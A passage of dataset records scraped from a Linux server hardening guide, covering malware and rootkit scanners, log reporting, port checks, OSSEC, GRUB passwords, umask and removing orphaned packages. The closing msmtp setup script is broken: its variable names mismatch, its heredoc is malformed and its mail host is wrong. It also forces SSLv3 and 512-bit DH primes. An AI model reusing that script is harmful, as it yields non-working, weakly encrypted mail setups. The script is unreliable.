[100%]\n    > Mar 16 22:57:38 host freshclam[1288]: Sat Mar 16 22:57:38 2019 -> main.cvd updated (version: 58, sigs: 4566249, f-level: 60, builder: sigmgr)\n    > Mar 16 22:57:40 host freshclam[1288]: Sat Mar 16 22:57:40 2019 -> Downloading daily.cvd [100%]\n    > Mar 16 22:58:13 host freshclam[1288]: Sat Mar 16 22:58:13 2019 -> daily.cvd updated (version: 25390, sigs: 1520006, f-level: 63, builder: raynman)\n    > Mar 16 22:58:14 host freshclam[1288]: Sat Mar 16 22:58:14 2019 -> Downloading bytecode.cvd [100%]\n    > Mar 16 22:58:16 host freshclam[1288]: Sat Mar 16 22:58:16 2019 -> bytecode.cvd updated (version: 328, sigs: 94, f-level: 63, builder: neo)\n    > Mar 16 22:58:24 host freshclam[1288]: Sat Mar 16 22:58:24 2019 -> Database updated (6086349 signatures) from db.local.clamav.net (IP: 104.16.219.84)\n    > Mar 16 22:58:24 host freshclam[1288]: Sat Mar 16 22:58:24 2019 -> ^Clamd was NOT notified: Can't connect to clamd through /var/run/clamav/clamd.ctl: No such file or directory\n    > ```\n    \n    **Note**: Don't worry about that `Local version` line. Check https://serverfault.com/questions/741299/is-there-a-way-to-keep-clamav-updated-on-debian-8 for more details.\n\n1. Make a backup of `clamav-daemon`'s configuration file `/etc/clamav/clamd.conf`:\n\n    ``` bash\n    sudo cp --archive /etc/clamav/clamd.conf /etc/clamav/clamd.conf-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n    \n1. You can change `clamav-daemon`'s settings by editing the file `/etc/clamav/clamd.conf` or useing `dpkg-reconfigure`:\n\n    ``` bash\n    sudo dpkg-reconfigure clamav-daemon\n    ```\n\n#### Scanning Files/Folders\n\n- To scan files/folders use the `clamscan` program.\n- `clamscan` runs as the user it is executed as so it needs read permissions to the files/folders it is scanning. \n- Using `clamscan` as `root` is dangerous because if a file is in fact a virus there is risk that it could", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312848"}
{"id": "gh_e56b8d8b3bd0", "question": "How to: Rootkit Detection With Rkhunter (WIP)", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nWIP\n\n#### How It Works\n\nWIP\n\n#### Goals\n\nWIP\n\n#### References\n\n- http://rkhunter.sourceforge.net/\n- https://www.cyberciti.biz/faq/howto-check-linux-rootkist-with-detectors-software/\n- https://www.tecmint.com/install-rootkit-hunter-scan-for-rootkits-backdoors-in-linux/\n\n#### Steps\n\n1. Install Rkhunter.\n\n    On Debian based systems:\n    \n    ``` bash\n    sudo apt install rkhunter\n    ```\n\n1. Make a backup of rkhunter' defaults file:\n\n    ``` bash\n    sudo cp -p /etc/default/rkhunter /etc/default/rkhunter-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. rkhunter's configuration file is `/etc/rkhunter.conf`. Instead of making changes to it, create and use the file `/etc/rkhunter.conf.local` instead:\n\n    ``` bash\n    sudo cp -p /etc/rkhunter.conf /etc/rkhunter.conf.local\n    ```\n    \n1. Go through the configuration file `/etc/rkhunter.conf.local` and set to your requirements. My recommendations:\n\n    |Setting|Note|\n    |--|--|\n    |`UPDATE_MIRRORS=1`||\n    |`MIRRORS_MODE=0`||\n    |`MAIL-ON-WARNING=root`||\n    |`COPY_LOG_ON_ERROR=1`|to save a copy of the log if there is an error|\n    |`PKGMGR=...`|set to the appropriate value per the documentation|\n    |`PHALANX2_DIRTEST=1`|read the documentation for why|\n    |`WEB_CMD=\"\"`|this is to address an issue with the Debian package that disables the ability for rkhunter to self-update.|\n    |`USE_LOCKING=1`|to prevent issues with rkhunter running multiple times|\n    |`SHOW_SUMMARY_WARNINGS_NUMBER=1`|to see the actual number of warnings found|\n\n1. You want rkhunter to run every day and e-mail you the result. You can write your own script or check https://www.tecmint.com/install-rootkit-hunter-scan-for-rootkits-backdoors-in-linux/ for a sample cron script you can use.\n   \n    On Debian based system, rkhunter comes with cron scripts. To enable them check `/etc/default/rkhunter` or use `dpkg-reconfigure` and say `Yes` to all of the questions:\n    \n    ``` bash\n    sudo dpkg-reconfigure rkhunter\n    ```\n\n1. After you've finished with all of the changes, make sure all the settings are valid:\n\n    ``` bash\n    sudo rkhunter -C\n    ```\n\n1. Update rkhunter and its database:\n\n    ``` bash\n    sudo rkhunter --versioncheck\n    sudo rkhunter --update\n    sudo rkhunter --propupd\n    ```\n\n1. If you want to do a manual scan and see the output:\n\n    ``` bash\n    sudo rkhunter --check\n    ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312857"}
{"id": "gh_121fb149f700", "question": "How to: Rootkit Detection With chrootkit (WIP)", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nWIP\n\n#### How It Works\n\nWIP\n\n#### Goals\n\nWIP\n\n#### References\n\n- http://www.chkrootkit.org/\n- https://www.cyberciti.biz/faq/howto-check-linux-rootkist-with-detectors-software/\n- https://askubuntu.com/questions/258658/eth0-packet-sniffer-sbin-dhclient\n\n#### Steps\n\n1. Install chkrootkit.\n\n    On Debian based systems:\n    \n    ``` bash\n    sudo apt install chkrootkit\n    ```\n\n1. Do a manual scan:\n\n    ``` bash\n    sudo chkrootkit\n    ```\n    \n    > ```\n    > ROOTDIR is `/'\n    > Checking `amd'...                                           not found\n    > Checking `basename'...                                      not infected\n    > Checking `biff'...                                          not found\n    > Checking `chfn'...                                          not infected\n    > Checking `chsh'...                                          not infected\n    > ...\n    > Checking `scalper'...                                       not infected\n    > Checking `slapper'...                                       not infected\n    > Checking `z2'...                                            chklastlog: nothing deleted\n    > Checking `chkutmp'...                                       chkutmp: nothing deleted\n    > Checking `OSX_RSPLUG'...                                    not infected\n    > ```\n\n1. Make a backup of chkrootkit's configuration file `/etc/chkrootkit.conf`:\n\n    ``` bash\n    sudo cp --archive /etc/chkrootkit.conf /etc/chkrootkit.conf-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. You want chkrootkit to run every day and e-mail you the result.\n   \n    On Debian based system, chkrootkit comes with cron scripts. To enable them check `/etc/chkrootkit.conf` or use `dpkg-reconfigure` and say `Yes` to the first question:\n    \n    ``` bash\n    sudo dpkg-reconfigure chkrootkit\n    ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312865"}
{"id": "gh_284b92845118", "question": "How to: logwatch - system log analyzer and reporter", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nYour server will be generating a lot of logs that may contain important information. Unless you plan on checking your server everyday, you'll want a way to get e-mail summary of your server's logs. To accomplish this we'll use [logwatch](https://sourceforge.net/projects/logwatch/).\n\n#### How It Works\n\nlogwatch scans system log files and summarizes them. You can run it directly from the command line or schedule it to run on a recurring schedule. logwatch uses service files to know how to read/summarize a log file. You can see all of the stock service files in `/usr/share/logwatch/scripts/services`.\n\nlogwatch's configuration file `/usr/share/logwatch/default.conf/logwatch.conf` specifies default options. You can override them via command line arguments.\n\n#### Goals\n\n- Logwatch configured to send a daily e-mail summary of all of the server's status and logs\n\n#### Notes\n\n- Your server will need to be able to send e-mails for this to work\n- The below steps will result in logwatch running every day. If you want to change the schedule, modify the cronjob to your liking. You'll also want to change the `range` option to cover your recurrence window. See https://www.badpenguin.org/configure-logwatch-for-weekly-email-and-html-output-format for an example.\n- If logwatch fails to deliver mail due to the e-mail having long lines please check https://blog.dhampir.no/content/exim4-line-length-in-debian-stretch-mail-delivery-failed-returning-message-to-sender as documented in [issue #29](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/29). If you followed [Gmail and Exim4 As MTA With Implicit TLS](#gmail-and-exim4-as-mta-with-implicit-tls) then we already took care of this in step #7.\n\n#### References\n\n- Thanks to [amacheema](https://github.com/amacheema) for fixing some issues with the steps and letting me know of a long line bug with exim4 as documented in [issue #29](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/29).\n- https://sourceforge.net/projects/logwatch/\n- https://www.digitalocean.com/community/tutorials/how-to-install-and-use-logwatch-log-analyzer-and-reporter-on-a-vps\n\n#### Steps\n\n1. Install logwatch.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install logwatch\n    ```\n\n1. To see a sample of what logwatch collects you can run it directly:\n\n    ``` bash\n    sudo /usr/sbin/logwatch --output stdout --format text --range yesterday --service all\n    ```\n\n    > ```\n    > \n    >  ################### Logwatch 7.4.3 (12/07/16) ####################\n    >         Processing Initiated: Mon Mar  4 00:05:50 2019\n    >         Date Range Processed: yesterday\n    >                               ( 2019-Mar-03 )\n    >                               Period is day.\n    >         Detail Level of Output: 5\n    >         Type of Output/Format: stdout / text\n    >         Logfiles for Host: host\n    >  ##################################################################\n    > \n    >  --------------------- Cron Begin ------------------------\n    > ...\n    > ...\n    >  ---------------------- Disk Space End -------------------------\n    > \n    > \n    >  ###################### Logwatch End #########################\n    > ```\n\n1. Go through logwatch's self-documented configuration file `/usr/share/logwatch/default.conf/logwatch.conf` before continuing. There is no need to change anything here but pay special attention to the `Output`, `Format`, `MailTo`, `Range`, and `Service` as those are the ones we'll be using. For our purposes, instead of specifying our options in the configuration file, we will pass them as command line arguments in the daily cron job that executes logwatch. That way, if the configuration file is ever modified (e.g. during an update), our options will still be there.\n\n1. Make a backup of logwatch's daily cron file `/etc/cron.daily/00logwatch` and unset the execute bit:\n\n    ``` bash\n    sudo cp --archive /etc/cron.daily/00logwatch /etc/cron.daily/00logwatch-COPY-$(date +\"%Y%m%d%H%M%S\")\n    sudo chmod -x /etc/cron.daily/00logwatch-COPY*\n    ```\n\n1. By default, logwatch outputs to `stdout`. Since the goal is to get a daily e-mail, we need to change the output type that logwatch uses to send e-mail instead. We could do this through the configuration file above, but that would apply to every time it is run -- even when we run it manually and want to see the output to the screen. Instead, we'll change the cron job that executes logwatch to send e-mail. This way, when run manually, we'll still get output to `stdout` and when run by cron, it'll send an e-mail. We'll also make sure it checks for all services, and change the output format to html so it's easier to read regardless of what the configuration file says. In the file `/etc/cron.daily/00logwatch` find the execute line and change it to:\n\n    ```\n    /usr/sbin/logwatch --output mail --format html --mailto root --range yesterday --service all\n    ```\n\n    > ```\n    > #!/bin/bash\n    > \n    > #Check if remove", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312878"}
{"id": "gh_3507bd3e5c2c", "question": "How to: ss - Seeing Ports Your Server Is Listening On", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nPorts are how applications, services, and processes communicate with each other -- either locally within your server or with other devices on the network. When you have an application or service (like SSH or Apache) running on your server, they listen for requests on specific ports.\n\nObviously we don't want your server listening on ports we don't know about. We'll use `ss` to see all the ports that services are listening on. This will help us track down and stop rogue, potentially dangerous, services.\n\n#### Goals\n\n- find out non-localhost what ports are open and listening for connections\n\n#### References\n\n- https://www.reddit.com/r/linux/comments/arx7st/howtosecurealinuxserver_an_evolving_howto_guide/egrib6o/\n- https://www.reddit.com/r/linux/comments/arx7st/howtosecurealinuxserver_an_evolving_howto_guide/egs1rev/\n- https://www.tecmint.com/find-open-ports-in-linux/\n- `man ss`\n\n#### Steps\n\n1. To see the all the ports listening for traffic:\n\n    ``` bash\n    sudo ss -lntup\n    ```\n    \n    > ```\n    > Netid  State      Recv-Q Send-Q     Local Address:Port     Peer Address:Port\n    > udp    UNCONN     0      0                      *:68                  *:*        users:((\"dhclient\",pid=389,fd=6))\n    > tcp    LISTEN     0      128                    *:22                  *:*        users:((\"sshd\",pid=4390,fd=3))\n    > tcp    LISTEN     0      128                   :::22                 :::*        users:((\"sshd\",pid=4390,fd=4))\n    > ```\n    \n    **Switch Explanations**:\n    - `l` = display listening sockets\n    - `n` = do not try to resolve service names\n    - `t` = display TCP sockets\n    - `u` = display UDP sockets\n    - `p` = show process information\n\n1. If you see anything suspicious, like a port you're not aware of or a process you don't know, investigate and remediate as necessary.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312886"}
{"id": "gh_a47ff1a45d07", "question": "How to: Lynis - Linux Security Auditing", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nFrom [https://cisofy.com/lynis/](https://cisofy.com/lynis/):\n\n> Lynis is a battle-tested security tool for systems running Linux, macOS, or Unix-based operating system. It performs an extensive health scan of your systems to support system hardening and compliance testing.\n\n#### Goals\n\n- Lynis installed\n\n#### Notes\n\n- CISOFY offers packages for many distributions. Check https://packages.cisofy.com/ for distribution specific installation instructions.\n\n#### References\n\n- https://cisofy.com/documentation/lynis/get-started/\n- https://packages.cisofy.com/community/#debian-ubuntu\n- https://thelinuxcode.com/audit-lynis-ubuntu-server/\n- https://www.vultr.com/docs/install-lynis-on-debian-8\n\n#### Steps\n\n1. Install lynis. https://cisofy.com/lynis/#installation has detailed instructions on how to install it for your distribution.\n\n    On Debian based systems, using CISOFY's community software repository:\n\n    ``` bash\n    sudo apt install apt-transport-https ca-certificates host\n    sudo wget -O - https://packages.cisofy.com/keys/cisofy-software-public.key | sudo apt-key add -\n    sudo echo \"deb https://packages.cisofy.com/community/lynis/deb/ stable main\" | sudo tee /etc/apt/sources.list.d/cisofy-lynis.list\n    sudo apt update\n    sudo apt install lynis host\n    ```\n\n1. Update it:\n\n    ``` bash\n    sudo lynis update info\n    ```\n\n1. Run a security audit:\n\n    ``` bash\n    sudo lynis audit system\n    ```\n\n    This will scan your server, report its audit findings, and at the end it will give you suggestions. Spend some time going through the output and address gaps as necessary.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312893"}
{"id": "gh_b76056cee50f", "question": "How to: OSSEC - Host Intrusion Detection", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\nFrom [https://github.com/ossec/ossec-hids](https://github.com/ossec/ossec-hids)\n> OSSEC is a full platform to monitor and control your systems. It mixes together all the aspects of HIDS (host-based intrusion detection), log monitoring and SIM/SIEM together in a simple, powerful and open source solution.\n\n#### Goals\n\n- OSSEC-HIDS installed\n\n#### References\n\n- https://www.ossec.net/docs/\n\n#### Steps\n\n1. Install OSSEC-HIDS from sources\n    ```bash\n    sudo apt install -y libz-dev libssl-dev libpcre2-dev build-essential libsystemd-dev\n    wget https://github.com/ossec/ossec-hids/archive/3.7.0.tar.gz\n    tar xzf 3.7.0.tar.gz\n    cd ossec-hids-3.7.0/\n    sudo ./install.sh\n    ```\n\n1. Useful commands:\n\n**Agent information**\n\n   ```bash\n    sudo /var/ossec/bin/agent_control -i\n```\n`AGENT_ID` by default is `000`, to be sure the command `sudo /var/ossec/bin/agent_control -l` can be used.\n\n**Run integrity/rootkit checking**\n\nOSSEC by default run rootkit check each 2 hours.\n\n   ```bash\n    sudo /var/ossec/bin/agent_control -u\n-r \n   ```\n\n**Alerts**\n\n- All:\n    ```bash\n    tail -f /var/ossec/logs/alerts/alerts.log\n    ```\n- Integrity check:\n    ```bash\n    sudo cat /var/ossec/logs/alerts/alerts.log | grep -A4  -i integrity\n    ```\n- Rootkit check:\n    ```bash\n     sudo cat /var/ossec/logs/alerts/alerts.log | grep -A4  \"rootcheck,\"\n    ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312900"}
{"id": "gh_9dd0eb2bd73b", "question": "How to: Proceed At Your Own Risk", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "This sections cover things that are high risk because there is a possibility they can make your system unusable, or are considered unnecessary by many because the risks outweigh any rewards.\n\n**!! PROCEED AT YOUR OWN RISK !!**\n!! PROCEED AT YOUR OWN RISK !!\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312906"}
{"id": "gh_d81eb4c7d24f", "question": "How to: Password Protect GRUB", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "!! PROCEED AT YOUR OWN RISK !!\n#### Why\n\nIf a bad actor has physical access to your server, they could use GRUB to gain unauthorized access to your system.\n\n#### Why Not\n\nIf you forget the password, you'll have to go through [some work](https://www.cyberciti.biz/tips/howto-recovering-grub-boot-loader-password.html) to recover the password.\n\n#### Goals\n\n- auto boot the default Debian install and require a password for anything else\n\n#### Notes\n\n- This will only protect GRUB and anything behind it like your operating systems. Check your motherboard's documentation for password protecting your BIOS to prevent a bad actor from circumventing GRUB.\n\n#### References\n\n- https://selivan.github.io/2017/12/21/grub2-password-for-all-but-default-menu-entries.html\n- https://help.ubuntu.com/community/Grub2/Passwords\n- https://computingforgeeks.com/how-to-protect-grub-with-password-on-debian-ubuntu-and-kali-linux/\n- `man grub`\n- `man grub-mkpasswd-pbkdf2`\n\n#### Steps\n\n1. Create a [Password-Based Key Derivation Function 2 (PBKDF2)](https://en.wikipedia.org/wiki/PBKDF2) hash of your password:\n\n    ``` bash\n    grub-mkpasswd-pbkdf2 -c 100000\n    ```\n\n   The below output is from using `password` as the password:\n\n    > ```\n    > Enter password:\n    > Reenter password:\n    > PBKDF2 hash of your password is grub.pbkdf2.sha512.100000.2812C233DFC899EFC3D5991D8CA74068C99D6D786A54F603E9A1EFE7BAEDDB6AA89672F92589FAF98DB9364143E7A1156C9936328971A02A483A84C3D028C4FF.C255442F9C98E1F3C500C373FE195DCF16C56EEBDC55ABDD332DD36A92865FA8FC4C90433757D743776AB186BD3AE5580F63EF445472CC1D151FA03906D08A6D\n    > ```\n\n1. Copy everything **after** `PBKDF2 hash of your password is `, **starting from and including** `grub.pbkdf2.sha512...` to the end. You'll need this in the next step.\n\n1. The `update-grub` program uses scripts to generate configuration files it will use for GRUB's settings.  Create the file `/etc/grub.d/01_password` and add the below code after replacing `[hash]` with the hash you copied from the first step. This tells `update-grub` to use this username and password for GRUB.\n\n    ``` bash\n    #!/bin/sh\n    set -e\n\n    cat << EOF\n    set superusers=\"grub\"\n    password_pbkdf2 grub [hash]\n    EOF\n    ```\n\n    For example:\n\n    > ``` bash\n    > #!/bin/sh\n    > set -e\n    > \n    > cat << EOF\n    > set superusers=\"grub\"\n    > password_pbkdf2 grub grub.pbkdf2.sha512.100000.2812C233DFC899EFC3D5991D8CA74068C99D6D786A54F603E9A1EFE7BAEDDB6AA89672F92589FAF98DB9364143E7A1156C9936328971A02A483A84C3D028C4FF.C255442F9C98E1F3C500C373FE195DCF16C56EEBDC55ABDD332DD36A92865FA8FC4C90433757D743776AB186BD3AE5580F63EF445472CC1D151FA03906D08A6D\n    > EOF\n    > ```\n\n1. Set the file's execute bit so `update-grub` includes it when it updates GRUB's configuration:\n\n   ``` bash\n   sudo chmod a+x /etc/grub.d/01_password\n   ```\n\n1. Make a backup of GRUB's configuration file `/etc/grub.d/10_linux` that we'll be modifying and unset the execute bit so `update-grub` doesn't try to run it:\n\n    ``` bash\n    sudo cp --archive /etc/grub.d/10_linux /etc/grub.d/10_linux-COPY-$(date +\"%Y%m%d%H%M%S\")\n    sudo chmod a-x /etc/grub.d/10_linux.*\n    ```\n\n1. To make the default Debian install unrestricted (**without** the password) while keeping everything else restricted (**with** the password) modify `/etc/grub.d/10_linux` and add `--unrestricted` to the `CLASS` variable.\n\n    [For the lazy](#editing-configuration-files---for-the-lazy):\n\n    ``` bash\n    sudo sed -i -r -e \"/^CLASS=/ a CLASS=\\\"\\${CLASS} --unrestricted\\\"         # added by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")\" /etc/grub.d/10_linux\n    ```\n\n1. Update GRUB with `update-grub`:\n\n    ``` bash\n    sudo update-grub\n    ```\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312930"}
{"id": "gh_ad2c41f4fe96", "question": "How to: Change Default umask", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "!! PROCEED AT YOUR OWN RISK !!\n#### Why\n\numask controls the **default** permissions of files/folders when they are created. Insecure file/folder permissions give other accounts potentially unauthorized access to your data. This may include the ability to make configuration changes.\n\n- For **non-root** accounts, there is no need for other accounts to get any access to the account's files/folders **by default**.\n- For the **root** account, there is no need for the file/folder primary group or other accounts to have any access to **root**'s files/folders **by default**.\n\nWhen and if other accounts need access to a file/folder, you want to explicitly grant it using a combination of file/folder permissions and primary group.\n\n#### Why Not\n\nChanging the default umask can create unexpected problems. For example, if you set umask to `0077` for **root**, then **non-root** accounts **will not** have access to application configuration files/folders in `/etc/` which could break applications that do not run with **root** privileges.\n\n#### How It Works\n\nIn order to explain how umask works I'd have to explain how Linux file/folder permissions work. As that is a rather complicated question, I will defer you to the references below for further reading.\n\n#### Goals\n\n- set default umask for **non-root** accounts to **0027**\n- set default umask for the **root** account to **0077**\n\n#### Notes\n\n- umask is a Bash built-in which means a user can change their own umask setting.\n\n#### References\n\n- https://www.linuxnix.com/umask-define-linuxunix/\n- https://serverfault.com/questions/818783/which-umask-is-more-secure-in-linux-022-or-027\n- https://www.cyberciti.biz/tips/understanding-linux-unix-umask-value-usage.html\n- `man umask`\n\n#### Steps\n\n1. Make a backup of files we'll be editing:\n\n    ``` bash\n    sudo cp --archive /etc/profile /etc/profile-COPY-$(date +\"%Y%m%d%H%M%S\")\n    sudo cp --archive /etc/bash.bashrc /etc/bash.bashrc-COPY-$(date +\"%Y%m%d%H%M%S\")\n    sudo cp --archive /etc/login.defs /etc/login.defs-COPY-$(date +\"%Y%m%d%H%M%S\")\n    sudo cp --archive /root/.bashrc /root/.bashrc-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. Set default umask for **non-root** accounts to **0027** by adding this line to `/etc/profile` and `/etc/bash.bashrc`:\n\n    ```\n    umask 0027\n    ```\n\n    [For the lazy](#editing-configuration-files---for-the-lazy):\n\n    ``` bash\n    echo -e \"\\numask 0027         # added by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")\" | sudo tee -a /etc/profile /etc/bash.bashrc\n    ```\n\n1. We also need to add this line to `/etc/login.defs`:\n\n    ```\n    UMASK 0027\n    ```\n\n    [For the lazy](#editing-configuration-files---for-the-lazy):\n\n    ``` bash\n    echo -e \"\\nUMASK 0027         # added by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")\" | sudo tee -a /etc/login.defs\n    ```\n\n1. Set default umask for the **root** account to **0077** by adding this line to `/root/.bashrc`:\n\n    ```\n    umask 0077\n    ```\n\n    [For the lazy](#editing-configuration-files---for-the-lazy):\n\n    ``` bash\n    echo -e \"\\numask 0077         # added by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")\" | sudo tee -a /root/.bashrc\n    ```\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312948"}
{"id": "gh_bdd3f4b62005", "question": "How to: Orphaned Software", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "!! PROCEED AT YOUR OWN RISK !!\n#### Why\n\nAs you use your system, and you install and uninstall software, you'll eventually end up with orphaned, or unused software/packages/libraries. You don't need to remove them, but if you don't need them, why keep them? When security is a priority, anything not explicitly needed is a potential security threat. You want to keep your server as trimmed and lean as possible.\n\n#### Notes\n\n- Each distribution manages software/packages/libraries differently so how you find and remove orphaned packages will be different. So far I only have steps for Debian based systems.\n\n#### Debian Based Systems\n\nOn Debian based systems, you can use [deborphan](http://freshmeat.sourceforge.net/projects/deborphan/) to find orphaned packages.\n\n#####\nWhy Not\n\nKeep in mind, deborphan finds packages that have **no package dependencies**. That does not mean they are not used. You could very well have a package you use every day that has no dependencies that you wouldn't want to remove. And, if deborphan gets anything wrong, then removing critical packages may break your system.\n\n##### Steps\n\n1. Install deborphan.\n\n    ``` bash\n    sudo apt install deborphan\n    ```\n\n1. Run deborphan as **root** to see a list of orphaned packages:\n\n    ``` bash\n    sudo deborphan\n    ```\n\n    > ```\n    > libxapian30\n    > libpipeline1\n    > ```\n\n1. [Assuming you want to remove all of the packages deborphan finds](#orphaned-software-why-not), you can pass it's output to `apt` to remove them:\n\n    ``` bash\n    sudo apt --autoremove purge $(deborphan)\n    ```\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312956"}
{"id": "gh_32bfba1734fd", "question": "How to: The Simple way with MSMTP", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "(#msmtp-alternative)\n#### Why\n\nWell I will SIMPLIFY this method, to only output email using Google Mail account (and others). True Simple! :)\n\n    ``` bash\n    #!/bin/bash\n    ###### PLEASE .... EDIT IT...\n    USEREMAIL=\"usernameemail\"\n    DOMPROV=\"gmail.com\"\n    PWDEMAIL=\"passwordStrong\"  ## ATTENTION DONT USE Special Chars.. like as SPACE # and some others not all. Feel free to test ;)\n    MAILPROV=\"smtp.google.com:583\"\n    MYMAIL=\"$USRMAIL@$DOMPROV\"\n    USERLOC=\"root\"\n    #######\n    apt install -y msmtp\n        ln -s /usr/bin/msmtp /usr/sbin/sendmail\n    #wget http://www.cacert.org/revoke.crl -O /etc/ssl/certs/revoke.crl\n    #chmod 644 /etc/ssl/certs/revoke.crl\n    touch /root/.msmtprc\n    cat <\n.msmtprc\n    defaults\n    account gmail\n    host $MAILPROV\n    port $MAILPORT\n    #proxy_host 127.0.0.1\n    #proxy_port 9001\n    from $MYEMAIL\n    timeout off \n    protocol smtp\n    #auto_from [(on|off)]\n    #from envelope_from\n    #maildomain [domain]\n    auth on\n    user $USRMAIL\n    passwordeval \"gpg -q --for-your-eyes-only --no-tty -d /root/msmtp-mail.gpg\"\n    #passwordeval \"gpg --quiet --for-your-eyes-only --no-tty --decrypt /root/msmtp-mail.gpg\"\n    tls on\n    tls_starttls on\n    tls_trust_file /etc/ssl/certs/ca-certificates.crt\n    #tls_crl_file /etc/ssl/certs/revoke.crl\n    #tls_fingerprint [fingerprint]\n    #tls_key_file [file]\n    #tls_cert_file [file]\n    tls_certcheck on\n    tls_force_sslv3 on\n    tls_min_dh_prime_bits 512\n    #tls_priorities [priorities]\n    #dsn_notify (off|condition)\n    #dsn_return (off|amount)\n    #domain argument\n    #keepbcc off\n    logfile /var/log/mail.log\n    syslog on\n    account default : gmail\n    EOF\n    chmod 0400 /root/.msmtprc\n    \n       ## In testing .. auto command\n    # echo -e \"1\\n4096\\n\\ny\\n$MYUSRMAIL\\n$MYEMAIL\\nmy key\\nO\\n$PWDMAIL\\n$PWDMAIL\\n\" | gpg --full-generate-key \n    ##\n    gpg --full-generate-key\n    gpg --output revoke.asc --gen-revoke $MYEMAIL\n    echo -e \"$PWDEMAIL\\n\" | gpg -e -o /root/msmtp-mail.gpg --recipient $MYEMAIL\n    echo \"export GPG_TTY=\\$(tty)\" >> .baschrc\t\n    chmod 400 msmtp-mail.gpg\n    \n    echo \"Hello there\" | msmtp --debug $MYEMAIL\n    echo\"######################\n    ## MSMTP Configured ##\n    ######################\"\n    ```\n    \nDONE!! ;)\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312965"}
